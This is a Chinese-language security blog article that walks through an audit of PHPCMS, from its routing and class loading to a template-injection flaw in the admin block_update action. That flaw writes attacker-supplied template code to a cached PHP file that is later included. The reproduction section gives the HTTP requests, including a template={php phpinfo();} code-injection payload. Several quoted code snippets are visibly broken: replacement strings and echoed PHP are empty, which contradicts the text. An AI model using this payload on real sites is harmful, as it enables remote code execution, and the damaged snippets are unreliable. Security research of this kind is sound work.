*本文作者:wnltc0,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。
前言
这是在FreeBuf的第二篇审计文章,不是想讲漏洞分析,更多是想写下整个审计的过程,在我最开始学代码审计时,拿到一套cms,却无从下手,想从网上找找实战案例,但找到的大都是案例分析,没见过几篇是把整个审计过程写下来的。经过一番摸索,终于从小白进阶到菜鸟,于是想着写几篇带完整过程的代码审计文章,尽管这些过程在大佬们看来跟后面的漏洞关系不大、并不重要;但对于新手朋友来说,这可能是一篇把他从迷茫中拉出来的文章。
虽然我只写了两篇,但每篇都是我审计时的完整过程,算不是什么深度好文,但只希望能给新手朋友一点点帮助。我只是位菜鸟,写出让大佬满意的文章,我不是小说主角,做不出越级的操作,但我的文章兴许能对新人朋友有帮助呢?毕竟我也是刚从新手过来的,我知道那时候的我想要什么,但找不到;如果后来人也这么想,也像当初的我那样想,那这两篇就没白写~
通读全文
跟进index.php
define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
include PHPCMS_PATH.'/phpcms/base.php';
pc_base::creat_app();
将phpcms/base.php
包含进来,然后调用pc_base::creat_app
函数,跟进phpcms/base.php
define('IN_PHPCMS', true);
//PHPCMS框架路径
define('PC_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
if(!defined('PHPCMS_PATH')) define('PHPCMS_PATH', PC_PATH.'..'.DIRECTORY_SEPARATOR);
//缓存文件夹地址
define('CACHE_PATH', PHPCMS_PATH.'caches'.DIRECTORY_SEPARATOR);
//主机协议
define('SITE_PROTOCOL', isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443' ? 'https://' : 'http://');
//当前访问的主机名
define('SITE_URL', (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''));
//来源
define('HTTP_REFERER', isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '');
//系统开始时间
define('SYS_START_TIME', microtime());
//加载公用函数库
pc_base::load_sys_func('global');
pc_base::load_sys_func('extention');
pc_base::auto_load_func();
pc_base::load_config('system','errorlog') ? set_error_handler('my_error_handler') : error_reporting(E_ERROR | E_WARNING | E_PARSE);
//设置本地时差
function_exists('date_default_timezone_set') && date_default_timezone_set(pc_base::load_config('system','timezone'));
define('CHARSET' ,pc_base::load_config('system','charset'));
//输出页面字符集
header('Content-type: text/html; charset='.CHARSET);
define('SYS_TIME', time());
//定义网站根路径
define('WEB_PATH',pc_base::load_config('system','web_path'));
//js 路径
define('JS_PATH',pc_base::load_config('system','js_path'));
//css 路径
define('CSS_PATH',pc_base::load_config('system','css_path'));
//img 路径
define('IMG_PATH',pc_base::load_config('system','img_path'));
//动态程序路径
define('APP_PATH',pc_base::load_config('system','app_path'));
//应用静态文件路径
define('PLUGIN_STATICS_PATH',WEB_PATH.'statics/plugin/');
......
9-60
行,定义常量,加载通用函数库
继续跟进pc_base::creat_app
方法,phpcms/base.php
67行
/**
* 初始化应用程序
*/
public static function creat_app() {
return self::load_sys_class('application');
}
这里介绍几个比较常用的方法,都在pc_base类中
load_sys_class
//加载系统类
load_app_class
//加载应用类
load_model
//加载数据模型load_config
//加载配置文件
/**
* 加载系统类方法
* @param string $classname 类名
* @param string $path 扩展地址
* @param intger $initialize 是否初始化
*/
public static function load_sys_class($classname, $path = '', $initialize = 1) {
return self::_load_class($classname, $path, $initialize);
}
/**
* 加载应用类方法
* @param string $classname 类名
* @param string $m 模块
* @param intger $initialize 是否初始化
*/
public static function load_app_class($classname, $m = '', $initialize = 1) {
$m = empty($m) && defined('ROUTE_M') ? ROUTE_M : $m;
if (empty($m)) return false;
return self::_load_class($classname, 'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.'classes', $initialize);
}
/**
* 加载数据模型
* @param string $classname 类名
*/
public static function load_model($classname) {
return self::_load_class($classname,'model');
}
对比三个方法发现,相同的是核心都是调用_load_class
方法,跟进_load_class
方法
/**
* 加载类文件函数
* @param string $classname 类名
* @param string $path 扩展地址
* @param intger $initialize 是否初始化
*/
private static function _load_class($classname, $path = '', $initialize = 1) {
static $classes = array();
if (empty($path)) $path = 'libs'.DIRECTORY_SEPARATOR.'classes';
$key = md5($path.$classname);
if (isset($classes[$key])) {
if (!empty($classes[$key])) {
return $classes[$key];
} else {
return true;
}
}
if (file_exists(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
include PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php';
$name = $classname;
if ($my_path = self::my_path(PC_PATH.$path.DIRECTORY_SEPARATOR.$classname.'.class.php')) {
include $my_path;
$name = 'MY_'.$classname;
}
if ($initialize) {
$classes[$key] = new $name;
} else {
$classes[$key] = true;
}
return $classes[$key];
} else {
return false;
}
}
跟读完_load_class
方法,可知:
当调用
load_sys_class
时,到phpcms/libs/classes
目录下找xx.class.php
当调用
load_app_class
时,到phpcms/modules/模块名/classes/
目录下找xx.class.php
当调用
load_model
时,到phpcms/model
目录下找xx.class.php
如果
$initialize=1
时,包含类文件并实例化类,反之,仅包含类文件
还有个load_config
方法,用于加载配置文件,继续跟进 260行
/**
* 加载配置文件
* @param string $file 配置文件
* @param string $key 要获取的配置荐
* @param string $default 默认配置。当获取配置项目失败时该值发生作用。
* @param boolean $reload 强制重新加载。
*/
public static function load_config($file, $key = '', $default = '', $reload = false) {
static $configs = array();
if (!$reload && isset($configs[$file])) {
if (empty($key)) {
return $configs[$file];
} elseif (isset($configs[$file][$key])) {
return $configs[$file][$key];
} else {
return $default;
}
}
$path = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.$file.'.php';
if (file_exists($path)) {
$configs[$file] = include $path;
}
if (empty($key)) {
return $configs[$file];
} elseif (isset($configs[$file][$key])) {
return $configs[$file][$key];
} else {
return $default;
}
}
调用
load_config
时,到caches/configs/
目录下找xx.php
如果
$key
不为空时,返回具体配置变量的值,反之,返回整个配置文件中的配置信息
了解了几个常见的方法后,继续回到pc_base::creat_app
方法
/**
* 初始化应用程序
*/
public static function creat_app() {
return self::load_sys_class('application');
}
该处只有一句代码,实例化application
类,由于前面已经了解过这几个常见的方法,所以这里能轻易的就找到application
类的文件,跟进phpcms/libs/classes/application.class.php
class application {
/**
* 构造函数
*/
public function __construct() {
$param = pc_base::load_sys_class('param');
define('ROUTE_M', $param->route_m());
define('ROUTE_C', $param->route_c());
define('ROUTE_A', $param->route_a());
$this->init();
}
......
在application
类的构造方法中实例化了param
类,并定义了几个常量,根据常量名,猜测应该是跟路由相关,跟进phpcms/libs/classes/param.class.php
class param {
//路由配置
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}
$this->route_config = pc_base::load_config('route', SITE_URL) ? pc_base::load_config('route', SITE_URL) : pc_base::load_config('route', 'default');
if(isset($this->route_config['data']['POST']) && is_array($this->route_config['data']['POST'])) {
foreach($this->route_config['data']['POST'] as $_key => $_value) {
if(!isset($_POST[$_key])) $_POST[$_key] = $_value;
}
}
if(isset($this->route_config['data']['GET']) && is_array($this->route_config['data']['GET'])) {
foreach($this->route_config['data']['GET'] as $_key => $_value) {
if(!isset($_GET[$_key])) $_GET[$_key] = $_value;
}
}
if(isset($_GET['page'])) {
$_GET['page'] = max(intval($_GET['page']),1);
$_GET['page'] = min($_GET['page'],1000000000);
}
return true;
}
......
将post
、get
等外部传入的变量交给new_addslashes
函数处理,new_addslashes
函数的核心就是addslashes
除了转义外部传入的变量,还有就是加载route
配置,在caches/configs/route.php
,如下
return array(
'default'=>array('m'=>'content', 'c'=>'index', 'a'=>'init'),
);
继续往下,
/**
* 获取模型
*/
public function route_m() {
$m = isset($_GET['m']) && !empty($_GET['m']) ? $_GET['m'] : (isset($_POST['m']) && !empty($_POST['m']) ? $_POST['m'] : '');
$m = $this->safe_deal($m);
if (empty($m)) {
return $this->route_config['m'];
} else {
if(is_string($m)) return $m;
}
}
/**
* 获取控制器
*/
public function route_c() {
$c = isset($_GET['c']) && !empty($_GET['c']) ? $_GET['c'] : (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : '');
$c = $this->safe_deal($c);
if (empty($c)) {
return $this->route_config['c'];
} else {
if(is_string($c)) return $c;
}
}
/**
* 获取事件
*/
public function route_a() {
$a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : (isset($_POST['a']) && !empty($_POST['a']) ? $_POST['a'] : '');
$a = $this->safe_deal($a);
if (empty($a)) {
return $this->route_config['a'];
} else {
if(is_string($a)) return $a;
}
}
.......
/**
* 安全处理函数
* 处理m,a,c
*/
private function safe_deal($str) {
return str_replace(array('/', '.'), '', $str);
}
回到application
类的构造方法
/**
* 构造函数
*/
public function __construct() {
$param = pc_base::load_sys_class('param');
define('ROUTE_M', $param->route_m());
define('ROUTE_C', $param->route_c());
define('ROUTE_A', $param->route_a());
$this->init();
}
几个常量的值也知道是什么了,继续跟进$this->init
方法 25行
/**
* 调用件事
*/
private function init() {
$controller = $this->load_controller();
if (method_exists($controller, ROUTE_A)) {
if (preg_match('/^[_]/i', ROUTE_A)) {
exit('You are visiting the action is to protect the private action');
} else {
call_user_func(array($controller, ROUTE_A));
}
} else {
exit('Action does not exist.');
}
}
跟进$this->load_controller
44行
/**
* 加载控制器
* @param string $filename
* @param string $m
* @return obj
*/
private function load_controller($filename = '', $m = '') {
if (empty($filename)) $filename = ROUTE_C;
if (empty($m)) $m = ROUTE_M;
$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$m.DIRECTORY_SEPARATOR.$filename.'.php';
if (file_exists($filepath)) {
$classname = $filename;
include $filepath;
if ($mypath = pc_base::my_path($filepath)) {
$classname = 'MY_'.$filename;
include $mypath;
}
if(class_exists($classname)){
return new $classname;
}else{
exit('Controller does not exist.');
}
} else {
exit('Controller does not exist.');
}
}
包含控制器类文件,实例化控制器并返回,具体文件路径:modules/模块名/控制器名.php
(默认加载modules/content/index.php
)
$this->init
方法调用$this->load_controller
方法来加载和实例化控制器类,然后调用具体的方法
跟读完index.php
,了解到
核心类库在
phpcms/libs/classes/
模型类库在
phpcms/model/
应用目录
phpcms/modules/
配置目录
caches/configs/
全局变量被转义,
$_SERVER
除外模块名、控制器名、方法名中的
/
、.
会被过滤方法名不允许以
_
开头
了解了整体结构后,再来思考下审计的方式方法:
方案一:先对核心类库进行审计,如果找到漏洞,那么在网站中可能会存在多处相同的漏洞,就算找不到漏洞,那对核心类库中的方法也多少了解,后面对具体应用功能审计时也会轻松一些
方案二:直接审计功能点,优点:针对性更强;缺点:某个功能点可能调用了多个核心类库中的方法,由于对核心类库不了解,跟读时可能会比较累,需要跟的东西可能会比较多
//无论哪种方案,没耐心是不行滴;如果你审计时正好心烦躁的很,那你可以在安装好应用后,随便点点,开着bp,抓抓改改,发现觉得可能存在问题的点再跟代码,这种方式(有点偏黑盒)能发现一些比较明显的问题,想深入挖掘,建议参考前面两种方案
漏洞分析
漏洞存在于 phpcms/modules/block/block_admin.php
的block_update
方法 120行
public function block_update() {
$id = isset($_GET['id']) && intval($_GET['id']) ? intval($_GET['id']) : showmessage(L('illegal_operation'), HTTP_REFERER);
//进行权限判断
if ($this->roleid != 1) {
if (!$this->priv_db->get_one(array('blockid'=>$id, 'roleid'=>$this->roleid, 'siteid'=>$this->siteid))) {
showmessage(L('not_have_permissions'));
}
}
if (!$data = $this->db->get_one(array('id'=>$id))) {
showmessage(L('nofound'));
}
if (isset($_POST['dosubmit'])) {
$sql = array();
if ($data['type'] == 2) {
$title = isset($_POST['title']) ? $_POST['title'] : '';
$url = isset($_POST['url']) ? $_POST['url'] : '';
$thumb = isset($_POST['thumb']) ? $_POST['thumb'] : '';
$desc = isset($_POST['desc']) ? $_POST['desc'] : '';
$template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : '';
$datas = array();
foreach ($title as $key=>$v) {
if (empty($v) || !isset($url[$key]) ||empty($url[$key])) continue;
$datas[$key] = array('title'=>$v, 'url'=>$url[$key], 'thumb'=>$thumb[$key], 'desc'=>str_replace(array(chr(13), chr(43)), array('', ' '), $desc[$key]));
}
if ($template) {
$block = pc_base::load_app_class('block_tag');
$block->template_url($id, $template);
//代码太长,把关键点放出来就好
.......
.......
}
在block_admin
方法中,先是通过id
来判断权限 (这里可以新建一条记录来获取id
)
然后就是对post
传入的数据进行处理,关键点在$block->template_url
方法,跟进 phpcms/modules/classes/block_tag.class.php
46行
/**
* 生成模板返回路径
* @param integer $id 碎片ID号
* @param string $template 风格
*/
public function template_url($id, $template = '') {
$filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.'block'.DIRECTORY_SEPARATOR.$id.'.php';
$dir = dirname($filepath);
if ($template) {
if(!is_dir($dir)) {
mkdir($dir, 0777, true);
}
$tpl = pc_base::load_sys_class('template_cache');
$str = $tpl->template_parse(new_stripslashes($template));
@file_put_contents($filepath, $str);
} else {
if (!file_exists($filepath)) {
if(!is_dir($dir)) {
mkdir($dir, 0777, true);
}
$tpl = pc_base::load_sys_class('template_cache');
$str = $this->db->get_one(array('id'=>$id), 'template');
$str = $tpl->template_parse($str['template']);
@file_put_contents($filepath, $str);
}
}
return $filepath;
}
在$block->template_url
方法中,调用了$tpl->template_parse
方法对 $template
变量进行处理,然后写入文件,最后返回文件路径
跟进$tpl->template_parse
方法,phpcms/libs/classes/template_cache.class.php
69行
/**
* 解析模板
*
* @param $str 模板内容
* @return ture
*/
public function template_parse($str) {
$str = preg_replace ( "/\{template\s+(.+)\}/", "", $str );
$str = preg_replace ( "/\{include\s+(.+)\}/", "", $str );
$str = preg_replace ( "/\{php\s+(.+)\}/", "", $str );
$str = preg_replace ( "/\{if\s+(.+?)\}/", "", $str );
$str = preg_replace ( "/\{else\}/", "", $str );
$str = preg_replace ( "/\{elseif\s+(.+?)\}/", "", $str );
$str = preg_replace ( "/\{\/if\}/", "", $str );
//for 循环
$str = preg_replace("/\{for\s+(.+?)\}/","",$str);
$str = preg_replace("/\{\/for\}/","",$str);
//++ --
$str = preg_replace("/\{\+\+(.+?)\}/","",$str);
$str = preg_replace("/\{\-\-(.+?)\}/","",$str);
$str = preg_replace("/\{(.+?)\+\+\}/","",$str);
$str = preg_replace("/\{(.+?)\-\-\}/","",$str);
$str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\}/", "", $str );
$str = preg_replace ( "/\{loop\s+(\S+)\s+(\S+)\s+(\S+)\}/", " \\3) { ?>", $str );
$str = preg_replace ( "/\{\/loop\}/", "", $str );
$str = preg_replace ( "/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "", $str );
$str = preg_replace ( "/\{\\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/", "", $str );
$str = preg_replace ( "/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\}/", "", $str );
$str = preg_replace_callback("/\{(\\$[a-zA-Z0-9_\[\]\'\"\$\x7f-\xff]+)\}/s", array($this, 'addquote'),$str);
$str = preg_replace ( "/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s", "", $str );
$str = preg_replace_callback("/\{pc:(\w+)\s+([^}]+)\}/i", array($this, 'pc_tag_callback'), $str);
$str = preg_replace_callback("/\{\/pc\}/i", array($this, 'end_pc_tag'), $str);
$str = "" . $str;
return $str;
}
$tpl->template_parse
方法主要负责模板解析,但并没看到有什么限制,
回到$block->template_url
方法
public function template_url($id, $template = '') {
$filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.'block'.DIRECTORY_SEPARATOR.$id.'.php';
$dir = dirname($filepath);
if ($template) {
if(!is_dir($dir)) {
mkdir($dir, 0777, true);
}
$tpl = pc_base::load_sys_class('template_cache');
$str = $tpl->template_parse(new_stripslashes($template));
@file_put_contents($filepath, $str);
......
}
$template
变量由post
传入,可控;但$filepath
不能直接访问,因为在$tpl->template_parse
处理时在$template
前面拼接了一段<?php defined('IN_PHPCMS') or exit('No permission resources.'); ?>
,所以,想要利用还需要找到一处包含点
在block_tag
类中处理template_url
方法还有一个pc_tag
/**
* PC标签中调用数据
* @param array $data 配置数据
*/
public function pc_tag($data) {
$siteid = isset($data['siteid']) && intval($data['siteid']) ? intval($data['siteid']) : get_siteid();
$r = $this->db->select(array('pos'=>$data['pos'], 'siteid'=>$siteid));
$str = '';
if (!empty($r) && is_array($r)) foreach ($r as $v) {
if (defined('IN_ADMIN') && !defined('HTML')) $str .= '';
if ($v['type'] == '2') {
extract($v, EXTR_OVERWRITE);
$data = string2array($data);
if (!defined('HTML')) {
ob_start();
include $this->template_url($id);
$str .= ob_get_contents();
ob_clean();
} else {
include $this->template_url($id);
}
} else {
$str .= $v['data'];
}
if (defined('IN_ADMIN') && !defined('HTML')) $str .= '';
}
return $str;
}
注意那句include $this->template_url($id);
,妥妥的包含点啊
接下来再找找哪里调用了该方法就好了
全局搜索->pc_tag(
发现在caches/cache_template/default/link/register.php
文件中调用了该方法,但这个文件也不能直接访问,看路径感觉像缓存文件,尝试跟进到link
模块的register
方法
/**
* 申请友情链接
*/
public function register() {
.........
include template('link', 'register');
}
}
可算找到了,template('link', 'register')
返回的结果就是caches/cache_template/default/link/register.php
漏洞复现
复现条件:
登录后台
调用block_update
需要传入id
,所以先插入一条数据来获取id
,构造数据包如下
URL: http://192.168.0.1/phpcms/index.php?m=block&c=block_admin&a=add&pos=1&pc_hash=gh43rD
POST:dosubmit=&name=bb&type=2
插入成功如下图:
点击跳转,可跳转到block_update
方法(包含id
)
构造数据包如下:
URL:http://192.168.0.1/phpcms/index.php?m=block&c=block_admin&a=block_update&id=4&pc_hash=gh43rD&pc_hash=gh43rD
POST:dosubmit=&name=bb&type=2&url=&thumb=&desc=&template={php phpinfo();}
访问shell:
可算写完了,写到后面人都懵了,漏洞分析后半部分跟漏洞复现那块,感觉有点粗糙,各位大佬见谅哈!!
END!!!
*本文作者:wnltc0,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。